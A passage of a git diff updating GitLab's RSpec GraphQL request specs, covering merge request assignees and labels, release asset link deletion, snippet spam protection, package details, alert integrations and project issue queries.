+ let(:mode) { Types::MutationOperationModeEnum.enum[:remove] }
+ let(:input) { { assignee_usernames: [assignee.username], operation_mode: mode } }
let(:expected_result) { [] }
before do
@@ -125,7 +146,7 @@ RSpec.describe 'Setting assignees of a merge request' do
end
it 'removes the users in the list, while adding none' do
- post_graphql_mutation(mutation, current_user: current_user)
+ run_mutation!
expect(response).to have_gitlab_http_status(:success)
expect(mutation_assignee_nodes).to match_array(expected_result)
diff --git a/spec/requests/api/graphql/mutations/merge_requests/set_labels_spec.rb b/spec/requests/api/graphql/mutations/merge_requests/set_labels_spec.rb
index 34d347c76fd..0d0cc66c52a 100644
--- a/spec/requests/api/graphql/mutations/merge_requests/set_labels_spec.rb
+++ b/spec/requests/api/graphql/mutations/merge_requests/set_labels_spec.rb
@@ -52,7 +52,7 @@ RSpec.describe 'Setting labels of a merge request' do
end
it 'sets the merge request labels, removing existing ones' do
- merge_request.update(labels: [label2])
+ merge_request.update!(labels: [label2])
post_graphql_mutation(mutation, current_user: current_user)
diff --git a/spec/requests/api/graphql/mutations/release_asset_links/delete_spec.rb b/spec/requests/api/graphql/mutations/release_asset_links/delete_spec.rb
new file mode 100644
index 00000000000..57489c82ec2
--- /dev/null
+++ b/spec/requests/api/graphql/mutations/release_asset_links/delete_spec.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Deletes a release asset link' do
+ include GraphqlHelpers
+
+ let_it_be(:project) { create(:project, :private, :repository) }
+ let_it_be(:release) { create(:release, project: project) }
+ let_it_be(:maintainer) { create(:user).tap { |u| project.add_maintainer(u) } }
+ let_it_be(:release_link) { create(:release_link, release: release) }
+
+ let(:current_user) { maintainer }
+ let(:mutation_name) { :release_asset_link_delete }
+ let(:mutation_arguments) { { id: release_link.to_global_id.to_s } }
+
+ let(:mutation) do
+ graphql_mutation(mutation_name, mutation_arguments, <<~FIELDS)
+ link {
+ id
+ name
+ url
+ linkType
+ directAssetUrl
+ external
+ }
+ errors
+ FIELDS
+ end
+
+ let(:delete_link) { post_graphql_mutation(mutation, current_user: current_user) }
+ let(:mutation_response) { graphql_mutation_response(mutation_name)&.with_indifferent_access }
+
+ it 'deletes the release asset link and returns the deleted link', :aggregate_failures do
+ delete_link
+
+ expected_response = {
+ id: release_link.to_global_id.to_s,
+ name: release_link.name,
+ url: release_link.url,
+ linkType: release_link.link_type.upcase,
+ directAssetUrl: end_with(release_link.filepath),
+ external: true
+ }.with_indifferent_access
+
+ expect(mutation_response[:link]).to match(expected_response)
+ expect(mutation_response[:errors]).to eq([])
+ end
+end
diff --git a/spec/requests/api/graphql/mutations/snippets/create_spec.rb b/spec/requests/api/graphql/mutations/snippets/create_spec.rb
index 1c2260070ec..d944c9e9e57 100644
--- a/spec/requests/api/graphql/mutations/snippets/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/snippets/create_spec.rb
@@ -211,5 +211,9 @@ RSpec.describe 'Creating a Snippet' do
end
end
end
+
+ it_behaves_like 'has spam protection' do
+ let(:mutation_class) { ::Mutations::Snippets::Create }
+ end
end
end
diff --git a/spec/requests/api/graphql/mutations/snippets/update_spec.rb b/spec/requests/api/graphql/mutations/snippets/update_spec.rb
index 43dc8d8bc44..28ab593526a 100644
--- a/spec/requests/api/graphql/mutations/snippets/update_spec.rb
+++ b/spec/requests/api/graphql/mutations/snippets/update_spec.rb
@@ -157,6 +157,9 @@ RSpec.describe 'Updating a Snippet' do
it_behaves_like 'graphql update actions'
it_behaves_like 'when the snippet is not found'
it_behaves_like 'snippet edit usage data counters'
+ it_behaves_like 'has spam protection' do
+ let(:mutation_class) { ::Mutations::Snippets::Update }
+ end
end
describe 'ProjectSnippet' do
@@ -201,6 +204,10 @@ RSpec.describe 'Updating a Snippet' do
end
it_behaves_like 'snippet edit usage data counters'
+
+ it_behaves_like 'has spam protection' do
+ let(:mutation_class) { ::Mutations::Snippets::Update }
+ end
end
it_behaves_like 'when the snippet is not found'
diff --git a/spec/requests/api/graphql/packages/package_spec.rb b/spec/requests/api/graphql/packages/package_spec.rb
index 654215041cb..a0131c7733e 100644
--- a/spec/requests/api/graphql/packages/package_spec.rb
+++ b/spec/requests/api/graphql/packages/package_spec.rb
@@ -2,33 +2,47 @@
require 'spec_helper'
RSpec.describe 'package details' do
- using RSpec::Parameterized::TableSyntax
include GraphqlHelpers
let_it_be(:project) { create(:project) }
- let_it_be(:package) { create(:composer_package, project: project) }
+ let_it_be(:composer_package) { create(:composer_package, project: project) }
let_it_be(:composer_json) { { name: 'name', type: 'type', license: 'license', version: 1 } }
let_it_be(:composer_metadatum) do
# we are forced to manually create the metadatum, without using the factory to force the sha to be a string
# and avoid an error where gitaly can't find the repository
- create(:composer_metadatum, package: package, target_sha: 'foo_sha', composer_json: composer_json)
+ create(:composer_metadatum, package: composer_package, target_sha: 'foo_sha', composer_json: composer_json)
end
let(:depth) { 3 }
- let(:excluded) { %w[metadata apiFuzzingCiConfiguration pipeline] }
+ let(:excluded) { %w[metadata apiFuzzingCiConfiguration pipeline packageFiles] }
+ let(:metadata) { query_graphql_fragment('ComposerMetadata') }
+ let(:package_files) {all_graphql_fields_for('PackageFile')}
+ let(:package_files_metadata) {query_graphql_fragment('ConanFileMetadata')}
let(:query) do
graphql_query_for(:package, { id: package_global_id }, <<~FIELDS)
- #{all_graphql_fields_for('Package', max_depth: depth, excluded: excluded)}
+ #{all_graphql_fields_for('PackageDetailsType', max_depth: depth, excluded: excluded)}
metadata {
- #{query_graphql_fragment('ComposerMetadata')}
+ #{metadata}
+ }
+ packageFiles {
+ nodes {
+ #{package_files}
+ fileMetadata {
+ #{package_files_metadata}
+ }
+ }
}
FIELDS
end
let(:user) { project.owner }
- let(:package_global_id) { global_id_of(package) }
+ let(:package_global_id) { global_id_of(composer_package) }
let(:package_details) { graphql_data_at(:package) }
+ let(:metadata_response) { graphql_data_at(:package, :metadata) }
+ let(:package_files_response) { graphql_data_at(:package, :package_files, :nodes) }
+ let(:first_file_response) { graphql_data_at(:package, :package_files, :nodes, 0)}
+ let(:first_file_response_metadata) { graphql_data_at(:package, :package_files, :nodes, 0, :file_metadata)}
subject { post_graphql(query, current_user: user) }
@@ -40,15 +54,68 @@ RSpec.describe 'package details' do
it 'matches the JSON schema' do
expect(package_details).to match_schema('graphql/packages/package_details')
end
+ end
+
+ describe 'Packages Metadata' do
+ before do
+ subject
+ end
- it 'includes the fields of the correct package' do
- expect(package_details).to include(
- 'id' => package_global_id,
- 'metadata' => {
+ describe 'Composer' do
+ it 'has the correct metadata' do
+ expect(metadata_response).to include(
'targetSha' => 'foo_sha',
'composerJson' => composer_json.transform_keys(&:to_s).transform_values(&:to_s)
- }
- )
+ )
+ end
+
+ it 'does not have files' do
+ expect(package_files_response).to be_empty
+ end
+ end
+
+ describe 'Conan' do
+ let_it_be(:conan_package) { create(:conan_package, project: project) }
+
+ let(:package_global_id) { global_id_of(conan_package) }
+ let(:metadata) { query_graphql_fragment('ConanMetadata') }
+ let(:first_file) { conan_package.package_files.find { |f| global_id_of(f) == first_file_response['id'] } }
+
+ it 'has the correct metadata' do
+ expect(metadata_response).to include(
+ 'id' => global_id_of(conan_package.conan_metadatum),
+ 'recipe' => conan_package.conan_metadatum.recipe,
+ 'packageChannel' => conan_package.conan_metadatum.package_channel,
+ 'packageUsername' => conan_package.conan_metadatum.package_username,
+ 'recipePath' => conan_package.conan_metadatum.recipe_path
+ )
+ end
+
+ it 'has the right amount of files' do
+ expect(package_files_response.length).to be(conan_package.package_files.length)
+ end
+
+ it 'has the basic package files data' do
+ expect(first_file_response).to include(
+ 'id' => global_id_of(first_file),
+ 'fileName' => first_file.file_name,
+ 'size' => first_file.size.to_s,
+ 'downloadPath' => first_file.download_path,
+ 'fileSha1' => first_file.file_sha1,
+ 'fileMd5' => first_file.file_md5,
+ 'fileSha256' => first_file.file_sha256
+ )
+ end
+
+ it 'has the correct file metadata' do
+ expect(first_file_response_metadata).to include(
+ 'id' => global_id_of(first_file.conan_file_metadatum),
+ 'packageRevision' => first_file.conan_file_metadatum.package_revision,
+ 'conanPackageReference' => first_file.conan_file_metadatum.conan_package_reference,
+ 'recipeRevision' => first_file.conan_file_metadatum.recipe_revision,
+ 'conanFileType' => first_file.conan_file_metadatum.conan_file_type.upcase
+ )
+ end
end
end
@@ -56,7 +123,7 @@ RSpec.describe 'package details' do
let(:depth) { 3 }
let(:excluded) { %w[metadata project tags pipelines] } # to limit the query complexity
- let_it_be(:siblings) { create_list(:composer_package, 2, project: project, name: package.name) }
+ let_it_be(:siblings) { create_list(:composer_package, 2, project: project, name: composer_package.name) }
it 'includes the sibling versions' do
subject
@@ -73,8 +140,32 @@ RSpec.describe 'package details' do
subject
expect(graphql_data_at(:package, :versions, :nodes, :version)).to be_present
- expect(graphql_data_at(:package, :versions, :nodes, :versions)).not_to be_present
+ expect(graphql_data_at(:package, :versions, :nodes, :versions, :nodes)).to be_empty
end
end
end
+
+ context 'with a batched query' do
+ let_it_be(:conan_package) { create(:conan_package, project: project) }
+
+ let(:batch_query) do
+ <<~QUERY
+ {
+ a: package(id: "#{global_id_of(composer_package)}") { name }
+ b: package(id: "#{global_id_of(conan_package)}") { name }
+ }
+ QUERY
+ end
+
+ let(:a_packages_names) { graphql_data_at(:a, :packages, :nodes, :name) }
+
+ it 'returns an error for the second package and data for the first' do
+ post_graphql(batch_query, current_user: user)
+
+ expect(graphql_data_at(:a, :name)).to eq(composer_package.name)
+
+ expect_graphql_errors_to_include [/Package details can be requested only for one package at a time/]
+ expect(graphql_data_at(:b)).to be(nil)
+ end
+ end
end
diff --git a/spec/requests/api/graphql/project/alert_management/alert/assignees_spec.rb b/spec/requests/api/graphql/project/alert_management/alert/assignees_spec.rb
index 9ab94f1d749..a59402208ec 100644
--- a/spec/requests/api/graphql/project/alert_management/alert/assignees_spec.rb
+++ b/spec/requests/api/graphql/project/alert_management/alert/assignees_spec.rb
@@ -34,7 +34,7 @@ RSpec.describe 'getting Alert Management Alert Assignees' do
end
let(:alerts) { graphql_data.dig('project', 'alertManagementAlerts', 'nodes') }
- let(:assignees) { alerts.map { |alert| [alert['iid'], alert['assignees']['nodes']] }.to_h }
+ let(:assignees) { alerts.to_h { |alert| [alert['iid'], alert['assignees']['nodes']] } }
let(:first_assignees) { assignees[first_alert.iid.to_s] }
let(:second_assignees) { assignees[second_alert.iid.to_s] }
diff --git a/spec/requests/api/graphql/project/alert_management/alert/notes_spec.rb b/spec/requests/api/graphql/project/alert_management/alert/notes_spec.rb
index 5d46f370756..72d185144ef 100644
--- a/spec/requests/api/graphql/project/alert_management/alert/notes_spec.rb
+++ b/spec/requests/api/graphql/project/alert_management/alert/notes_spec.rb
@@ -38,7 +38,7 @@ RSpec.describe 'getting Alert Management Alert Notes' do
end
let(:alerts_result) { graphql_data.dig('project', 'alertManagementAlerts', 'nodes') }
- let(:notes_result) { alerts_result.map { |alert| [alert['iid'], alert['notes']['nodes']] }.to_h }
+ let(:notes_result) { alerts_result.to_h { |alert| [alert['iid'], alert['notes']['nodes']] } }
let(:first_notes_result) { notes_result[first_alert.iid.to_s] }
let(:second_notes_result) { notes_result[second_alert.iid.to_s] }
diff --git a/spec/requests/api/graphql/project/alert_management/alert/todos_spec.rb b/spec/requests/api/graphql/project/alert_management/alert/todos_spec.rb
index 3a9077061ad..ca58079fdfe 100644
--- a/spec/requests/api/graphql/project/alert_management/alert/todos_spec.rb
+++ b/spec/requests/api/graphql/project/alert_management/alert/todos_spec.rb
@@ -34,7 +34,7 @@ RSpec.describe 'getting Alert Management Alert Assignees' do
end
let(:gql_alerts) { graphql_data.dig('project', 'alertManagementAlerts', 'nodes') }
- let(:gql_todos) { gql_alerts.map { |gql_alert| [gql_alert['iid'], gql_alert['todos']['nodes']] }.to_h }
+ let(:gql_todos) { gql_alerts.to_h { |gql_alert| [gql_alert['iid'], gql_alert['todos']['nodes']] } }
let(:gql_alert_todo) { gql_todos[alert.iid.to_s].first }
let(:gql_other_alert_todo) { gql_todos[other_alert.iid.to_s].first }
diff --git a/spec/requests/api/graphql/project/alert_management/integrations_spec.rb b/spec/requests/api/graphql/project/alert_management/integrations_spec.rb
index b13805a61ce..0e029aee9e8 100644
--- a/spec/requests/api/graphql/project/alert_management/integrations_spec.rb
+++ b/spec/requests/api/graphql/project/alert_management/integrations_spec.rb
@@ -13,6 +13,8 @@ RSpec.describe 'getting Alert Management Integrations' do
let_it_be(:inactive_http_integration) { create(:alert_management_http_integration, :inactive, project: project) }
let_it_be(:other_project_http_integration) { create(:alert_management_http_integration) }
+ let(:params) { {} }
+
let(:fields) do
<<~QUERY
nodes {
@@ -25,7 +27,7 @@ RSpec.describe 'getting Alert Management Integrations' do
graphql_query_for(
'project',
{ 'fullPath' => project.full_path },
- query_graphql_field('alertManagementIntegrations', {}, fields)
+ query_graphql_field('alertManagementIntegrations', params, fields)
)
end
@@ -50,34 +52,78 @@ RSpec.describe 'getting Alert Management Integrations' do
post_graphql(query, current_user: current_user)
end
- let(:http_integration) { integrations.first }
- let(:prometheus_integration) { integrations.second }
+ context 'when no extra params given' do
+ let(:http_integration) { integrations.first }
+ let(:prometheus_integration) { integrations.second }
- it_behaves_like 'a working graphql query'
+ it_behaves_like 'a working graphql query'
+
+ it { expect(integrations.size).to eq(2) }
+
+ it 'returns the correct properties of the integrations' do
+ expect(http_integration).to include(
+ 'id' => global_id_of(active_http_integration),
+ 'type' => 'HTTP',
+ 'name' => active_http_integration.name,
+ 'active' => active_http_integration.active,
+ 'token' => active_http_integration.token,
+ 'url' => active_http_integration.url,
+ 'apiUrl' => nil
+ )
- it { expect(integrations.size).to eq(2) }
-
- it 'returns the correct properties of the integrations' do
- expect(http_integration).to include(
- 'id' => GitlabSchema.id_from_object(active_http_integration).to_s,
- 'type' => 'HTTP',
- 'name' => active_http_integration.name,
- 'active' => active_http_integration.active,
- 'token' => active_http_integration.token,
- 'url' => active_http_integration.url,
- 'apiUrl' => nil
- )
-
- expect(prometheus_integration).to include(
- 'id' => GitlabSchema.id_from_object(prometheus_service).to_s,
- 'type' => 'PROMETHEUS',
- 'name' => 'Prometheus',
- 'active' => prometheus_service.manual_configuration?,
- 'token' => project_alerting_setting.token,
- 'url' => "http://localhost/#{project.full_path}/prometheus/alerts/notify.json",
- 'apiUrl' => prometheus_service.api_url
- )
+ expect(prometheus_integration).to include(
+ 'id' => global_id_of(prometheus_service),
+ 'type' => 'PROMETHEUS',
+ 'name' => 'Prometheus',
+ 'active' => prometheus_service.manual_configuration?,
+ 'token' => project_alerting_setting.token,
+ 'url' => "http://localhost/#{project.full_path}/prometheus/alerts/notify.json",
+ 'apiUrl' => prometheus_service.api_url
+ )
+ end
end
+
+ context 'when HTTP Integration ID is given' do
+ let(:params) { { id: global_id_of(active_http_integration) } }
+
+ it_behaves_like 'a working graphql query'
+
+ it { expect(integrations).to be_one }
+
+ it 'returns the correct properties of the HTTP integration' do
+ expect(integrations.first).to include(
+ 'id' => global_id_of(active_http_integration),
+ 'type' => 'HTTP',
+ 'name' => active_http_integration.name,
+ 'active' => active_http_integration.active,
+ 'token' => active_http_integration.token,
+ 'url' => active_http_integration.url,
+ 'apiUrl' => nil
+ )
+ end
+ end
+
+ context 'when Prometheus Integration ID is given' do
+ let(:params) { { id: global_id_of(prometheus_service) } }
+
+ it_behaves_like 'a working graphql query'
+
+ it { expect(integrations).to be_one }
+
+ it 'returns the correct properties of the Prometheus Integration' do
+ expect(integrations.first).to include(
+ 'id' => global_id_of(prometheus_service),
+ 'type' => 'PROMETHEUS',
+ 'name' => 'Prometheus',
+ 'active' => prometheus_service.manual_configuration?,
+ 'token' => project_alerting_setting.token,
+ 'url' => "http://localhost/#{project.full_path}/prometheus/alerts/notify.json",
+ 'apiUrl' => prometheus_service.api_url
+ )
+ end
+ end
+
+ it_behaves_like 'GraphQL query with several integrations requested', graphql_query_name: 'alertManagementIntegrations'
end
end
end
diff --git a/spec/requests/api/graphql/project/container_repositories_spec.rb b/spec/requests/api/graphql/project/container_repositories_spec.rb
index 5ffd48a7bc4..3ad56223b61 100644
--- a/spec/requests/api/graphql/project/container_repositories_spec.rb
+++ b/spec/requests/api/graphql/project/container_repositories_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe 'getting container repositories in a project' do
<<~GQL
edges {
node {
- #{all_graphql_fields_for('container_repositories'.classify, excluded: ['pipeline'])}
+ #{all_graphql_fields_for('container_repositories'.classify, excluded: %w(pipeline jobs))}
}
}
GQL
diff --git a/spec/requests/api/graphql/project/issues_spec.rb b/spec/requests/api/graphql/project/issues_spec.rb
index 9c915075c42..dd9d44136e5 100644
--- a/spec/requests/api/graphql/project/issues_spec.rb
+++ b/spec/requests/api/graphql/project/issues_spec.rb
@@ -5,14 +5,15 @@ require 'spec_helper'
RSpec.describe 'getting an issue list for a project' do
include GraphqlHelpers
- let(:issues_data) { graphql_data['project']['issues']['edges'] }
-
let_it_be(:project) { create(:project, :repository, :public) }
let_it_be(:current_user) { create(:user) }
let_it_be(:issue_a, reload: true) { create(:issue, project: project, discussion_locked: true) }
let_it_be(:issue_b, reload: true) { create(:issue, :with_alert, project: project) }
let_it_be(:issues, reload: true) { [issue_a, issue_b] }
+ let(:issues_data) { graphql_data['project']['issues']['edges'] }
+ let(:issue_filter_params) { {} }
+
let(:fields) do
<<~QUERY
edges {
@@ -27,7 +28,7 @@ RSpec.describe 'getting an issue list for a project' do
graphql_query_for(
'project',
{ 'fullPath' => project.full_path },
- query_graphql_field('issues', {}, fields)
+ query_graphql_field('issues', issue_filter_params, fields)
)
end
@@ -50,6 +51,16 @@ RSpec.describe 'getting an issue list for a project' do
expect(issues_data[1]['node']['discussionLocked']).to eq(true)
end
+ context 'when both assignee_username filters are provided' do
+ let(:issue_filter_params) { { assignee_username: current_user.username, assignee_usernames: [current_user.username] } }
+
+ it 'returns a mutually exclusive param error' do
+ post_graphql(query, current_user: current_user)
+
+ expect_graphql_errors_to_include('only one of [assigneeUsernames, assigneeUsername] arguments is allowed at the same time.')
+ end
+ end
+
context 'when limiting the number of results' do
let(:query) do
<<~GQL
@@ -76,7 +87,7 @@ RSpec.describe 'getting an issue list for a project' do
end
end
- context 'no limit is provided' do
+ context 'when no limit is provided' do
let(:issue_limit) { nil }
it 'returns all issues' do
@@ -143,13 +154,15 @@ RSpec.describe 'getting an issue list for a project' do
let_it_be(:data_path) { [:project, :issues] }
def pagination_query(params)
- graphql_query_for(:project, { full_path: sort_project.full_path },
+ graphql_query_for(
+ :project,
+ { full_path: sort_project.full_path },
query_graphql_field(:issues, params, "#{page_info} nodes { iid }")
)
end
def pagination_results_data(data)
- data.map { |issue| issue.dig('iid').to_i }
+ data.map { |issue| issue['iid'].to_i }
end
context 'when sorting by due date' do
@@ -189,27 +202,38 @@ RSpec.describe 'getting an issue list for a project' do
it_behaves_like 'sorted paginated query' do
let(:sort_param) { :RELATIVE_POSITION_ASC }
let(:first_param) { 2 }
- let(:expected_results) { [relative_issue5.iid, relative_issue3.iid, relative_issue1.iid, relative_issue4.iid, relative_issue2.iid] }
+ let(:expected_results) do
+ [
+ relative_issue5.iid, relative_issue3.iid, relative_issue1.iid,
+ relative_issue4.iid, relative_issue2.iid
+ ]
+ end
end
end
end
context 'when sorting by priority' do
let_it_be(:sort_project) { create(:project, :public) }
- let_it_be(:early_milestone) { create(:milestone, project: sort_project, due_date: 10.days.from_now) }
- let_it_be(:late_milestone) { create(:milestone, project: sort_project, due_date: 30.days.from_now) }
- let_it_be(:priority_label1) { create(:label, project: sort_project, priority: 1) }
- let_it_be(:priority_label2) { create(:label, project: sort_project, priority: 5) }
- let_it_be(:priority_issue1) { create(:issue, project: sort_project, labels: [priority_label1], milestone: late_milestone) }
- let_it_be(:priority_issue2) { create(:issue, project: sort_project, labels: [priority_label2]) }
- let_it_be(:priority_issue3) { create(:issue, project: sort_project, milestone: early_milestone) }
- let_it_be(:priority_issue4) { create(:issue, project: sort_project) }
+ let_it_be(:on_project) { { project: sort_project } }
+ let_it_be(:early_milestone) { create(:milestone, **on_project, due_date: 10.days.from_now) }
+ let_it_be(:late_milestone) { create(:milestone, **on_project, due_date: 30.days.from_now) }
+ let_it_be(:priority_1) { create(:label, **on_project, priority: 1) }
+ let_it_be(:priority_2) { create(:label, **on_project, priority: 5) }
+ let_it_be(:priority_issue1) { create(:issue, **on_project, labels: [priority_1], milestone: late_milestone) }
+ let_it_be(:priority_issue2) { create(:issue, **on_project, labels: [priority_2]) }
+ let_it_be(:priority_issue3) { create(:issue, **on_project, milestone: early_milestone) }
+ let_it_be(:priority_issue4) { create(:issue, **on_project) }
context 'when ascending' do
it_behaves_like 'sorted paginated query' do
let(:sort_param) { :PRIORITY_ASC }
let(:first_param) { 2 }
- let(:expected_results) { [priority_issue3.iid, priority_issue1.iid, priority_issue2.iid, priority_issue4.iid] }
+ let(:expected_results) do
+ [
+ priority_issue3.iid, priority_issue1.iid,
+ priority_issue2.iid, priority_issue4.iid
+ ]
+ end
end
end
@@ -217,7 +241,9 @@ RSpec.describe 'getting an issue list for a project' do
it_behaves_like 'sorted paginated query' do
let(:sort_param) { :PRIORITY_DESC }
let(:first_param) { 2 }
- let(:expected_results) { [priority_issue1.iid, priority_issue3.iid, priority_issue2.iid, priority_issue4.iid] }
+ let(:expected_results) do
+ [priority_issue1.iid, priority_issue3.iid, priority_issue2.iid, priority_issue4.iid]
+ end
end
end
end
@@ -275,7 +301,7 @@ RSpec.describe 'getting an issue list for a project' do
end
end
- context 'fetching alert management alert' do
+ context 'when fetching alert management alert' do
let(:fields) do
<<~QUERY
edges {
@@ -297,7 +323,7 @@ RSpec.describe 'getting an issue list for a project' do
it 'avoids N+1 queries' do
control = ActiveRecord::QueryRecorder.new { post_graphql(query, current_user: current_user) }
- create(:alert_management_alert, :with_issue, project: project )
+ create(:alert_management_alert, :with_issue, project: project)
expect { post_graphql(query, current_user: current_user) }.not_to exceed_query_limit(control)
end
@@ -312,7 +338,7 @@ RSpec.describe 'getting an issue list for a project' do
end
end
- context 'fetching labels' do
+ context 'when fetching labels' do
let(:fields) do
<<~QUERY
edges {
@@ -362,7 +388,7 @@ RSpec.describe 'getting an issue list for a project' do
end
end
- context 'fetching assignees' do
+ context 'when fetching assignees' do
let(:fields) do
<<~QUERY
edges {
@@ -420,9 +446,10 @@ RSpec.describe 'getting an issue list for a project' do
query = graphql_query_for(
:project,
{ full_path: project.full_path },
- query_graphql_field(:issues, search_params, [
+ query_graphql_field(
+ :issues, search_params,
query_graphql_field(:nodes, nil, requested_fields)
- ])
+ )
)
post_graphql(query, current_user: current_user)
end
@@ -448,5 +475,16 @@ RSpec.describe 'getting an issue list for a project' do
include_examples 'N+1 query check'
end
+
+ context 'when requesting `timelogs`' do
+ let(:requested_fields) { 'timelogs { nodes { timeSpent } }' }
+
+ before do
+ create_list(:issue_timelog, 2, issue: issue_a)
+ create(:issue_timelog, issue: issue_b)
+ end
+
+ include_examples 'N+1 query check'
+ end
end
end
diff --git a/spec/requests/api/graphql/project/merge_request_spec.rb b/spec/requests/api/graphql/project/merge_request_spec.rb
index e32899c600e..15551005502 100644
--- a/spec/requests/api/graphql/project/merge_request_spec.rb
+++ b/spec/requests/api/graphql/project/merge_request_spec.rb
@@ -5,21 +5,25 @@ require 'spec_helper'
RSpec.describe 'getting merge request information nested in a project' do
include GraphqlHelpers
- let(:project) { create(:project, :repository, :public) }
- let(:current_user) { create(:user) }
- let(:merge_request_graphql_data) { graphql_data['project']['mergeRequest'] }
- let!(:merge_request) { create(:merge_request, source_project: project) }
- let(:mr_fields) { all_graphql_fields_for('MergeRequest', excluded: ['pipeline']) }
+ let_it_be(:project) { create(:project, :repository, :public) }
+ let_it_be(:current_user) { create(:user) }
+ let_it_be_with_reload(:merge_request) { create(:merge_request, source_project: project) }
+
+ let(:merge_request_graphql_data) { graphql_data_at(:project, :merge_request) }
+ let(:mr_fields) { all_graphql_fields_for('MergeRequest', max_depth: 1) }
let(:query) do
graphql_query_for(
- 'project',
- { 'fullPath' => project.full_path },
- query_graphql_field('mergeRequest', { iid: merge_request.iid.to_s }, mr_fields)
+ :project,
+ { full_path: project.full_path },
+ query_graphql_field(:merge_request, { iid: merge_request.iid.to_s }, mr_fields)
)
end
it_behaves_like 'a working graphql query' do
+ # we exclude Project.pipeline because it needs arguments
+ let(:mr_fields) { all_graphql_fields_for('MergeRequest', excluded: %w[jobs pipeline]) }
+
before do
post_graphql(query, current_user: current_user)
end
@@ -38,13 +42,17 @@ RSpec.describe 'getting merge request information nested in a project' do
expect(merge_request_graphql_data['webUrl']).to be_present
end
- it 'includes author' do
- post_graphql(query, current_user: current_user)
+ context 'when selecting author' do
+ let(:mr_fields) { 'author { username }' }
- expect(merge_request_graphql_data['author']['username']).to eq(merge_request.author.username)
+ it 'includes author' do
+ post_graphql(query, current_user: current_user)
+
+ expect(merge_request_graphql_data['author']['username']).to eq(merge_request.author.username)
+ end
end
- context 'the merge_request has reviewers' do
+ context 'when the merge_request has reviewers' do
let(:mr_fields) do
<<~SELECT
reviewers { nodes { id username } }
@@ -68,63 +76,76 @@ RSpec.describe 'getting merge request information nested in a project' do
end
end
- it 'includes diff stats' do
- be_natural = an_instance_of(Integer).and(be >= 0)
-
- post_graphql(query, current_user: current_user)
-
- sums = merge_request_graphql_data['diffStats'].reduce([0, 0, 0]) do |(a, d, c), node|
- a_, d_ = node.values_at('additions', 'deletions')
- [a + a_, d + d_, c + a_ + d_]
+ describe 'diffStats' do
+ let(:mr_fields) do
+ <<~FIELDS
+ diffStats { #{all_graphql_fields_for('DiffStats')} }
+ diffStatsSummary { #{all_graphql_fields_for('DiffStatsSummary')} }
+ FIELDS
end
- expect(merge_request_graphql_data).to include(
- 'diffStats' => all(a_hash_including('path' => String, 'additions' => be_natural, 'deletions' => be_natural)),
- 'diffStatsSummary' => a_hash_including(
- 'fileCount' => merge_request.diff_stats.count,
- 'additions' => be_natural,
- 'deletions' => be_natural,
- 'changes' => be_natural
- )
- )
+ it 'includes diff stats' do
+ be_natural = an_instance_of(Integer).and(be >= 0)
- # diff_stats is consistent with summary
- expect(merge_request_graphql_data['diffStatsSummary']
- .values_at('additions', 'deletions', 'changes')).to eq(sums)
-
- # diff_stats_summary is internally consistent
- expect(merge_request_graphql_data['diffStatsSummary']
- .values_at('additions', 'deletions').sum)
- .to eq(merge_request_graphql_data.dig('diffStatsSummary', 'changes'))
- .and be_positive
- end
+ post_graphql(query, current_user: current_user)
- context 'requesting a specific diff stat' do
- let(:diff_stat) { merge_request.diff_stats.first }
+ sums = merge_request_graphql_data['diffStats'].reduce([0, 0, 0]) do |(a, d, c), node|
+ a_, d_ = node.values_at('additions', 'deletions')
+ [a + a_, d + d_, c + a_ + d_]
+ end
- let(:query) do
- graphql_query_for(:project, { full_path: project.full_path },
- query_graphql_field(:merge_request, { iid: merge_request.iid.to_s }, [
- query_graphql_field(:diff_stats, { path: diff_stat.path }, all_graphql_fields_for('DiffStats'))
- ])
+ expect(merge_request_graphql_data).to include(
+ 'diffStats' => all(a_hash_including('path' => String, 'additions' => be_natural, 'deletions' => be_natural)),
+ 'diffStatsSummary' => a_hash_including(
+ 'fileCount' => merge_request.diff_stats.count,
+ 'additions' => be_natural,
+ 'deletions' => be_natural,
+ 'changes' => be_natural
+ )
)
+
+ # diff_stats is consistent with summary
+ expect(merge_request_graphql_data['diffStatsSummary']
+ .values_at('additions', 'deletions', 'changes')).to eq(sums)
+
+ # diff_stats_summary is internally consistent
+ expect(merge_request_graphql_data['diffStatsSummary']
+ .values_at('additions', 'deletions').sum)
+ .to eq(merge_request_graphql_data.dig('diffStatsSummary', 'changes'))
+ .and be_positive
end
- it 'includes only the requested stats' do
- post_graphql(query, current_user: current_user)
+ context 'when requesting a specific diff stat' do
+ let(:diff_stat) { merge_request.diff_stats.first }
- expect(merge_request_graphql_data).to include(
- 'diffStats' => contain_exactly(
- a_hash_including('path' => diff_stat.path, 'additions' => diff_stat.additions, 'deletions' => diff_stat.deletions)
+ let(:mr_fields) do
+ query_graphql_field(
+ :diff_stats,
+ { path: diff_stat.path },
+ all_graphql_fields_for('DiffStats')
)
- )
+ end
+
+ it 'includes only the requested stats' do
+ post_graphql(query, current_user: current_user)
+
+ expect(merge_request_graphql_data).to include(
+ 'diffStats' => contain_exactly(
+ a_hash_including(
+ 'path' => diff_stat.path,
+ 'additions' => diff_stat.additions,
+ 'deletions' => diff_stat.deletions
+ )
+ )
+ )
+ end
end
end
it 'includes correct mergedAt value when merged' do
time = 1.week.ago
merge_request.mark_as_merged
- merge_request.metrics.update_columns(merged_at: time)
+ merge_request.metrics.update!(merged_at: time)
post_graphql(query, current_user: current_user)
retrieved = merge_request_graphql_data['mergedAt']
@@ -139,7 +160,11 @@ RSpec.describe 'getting merge request information nested in a project' do
expect(retrieved).to be_nil
end
- context 'permissions on the merge request' do
+ describe 'permissions on the merge request' do
+ let(:mr_fields) do
+ "userPermissions { #{all_graphql_fields_for('MergeRequestPermissions')} }"
+ end
+
it 'includes the permissions for the current user on a public project' do
expected_permissions = {
'readMergeRequest' => true,
@@ -162,8 +187,6 @@ RSpec.describe 'getting merge request information nested in a project' do
end
context 'when the user does not have access to the merge request' do
- let(:project) { create(:project, :public, :repository) }
-
it 'returns nil' do
project.project_feature.update!(merge_requests_access_level: ProjectFeature::PRIVATE)
@@ -174,13 +197,23 @@ RSpec.describe 'getting merge request information nested in a project' do
end
context 'when there are pipelines' do
- before do
+ let_it_be(:pipeline) do
create(
:ci_pipeline,
project: merge_request.source_project,
ref: merge_request.source_branch,
sha: merge_request.diff_head_sha
)
+ end
+
+ let(:mr_fields) do
+ <<~FIELDS
+ headPipeline { id }
+ pipelines { nodes { id } }
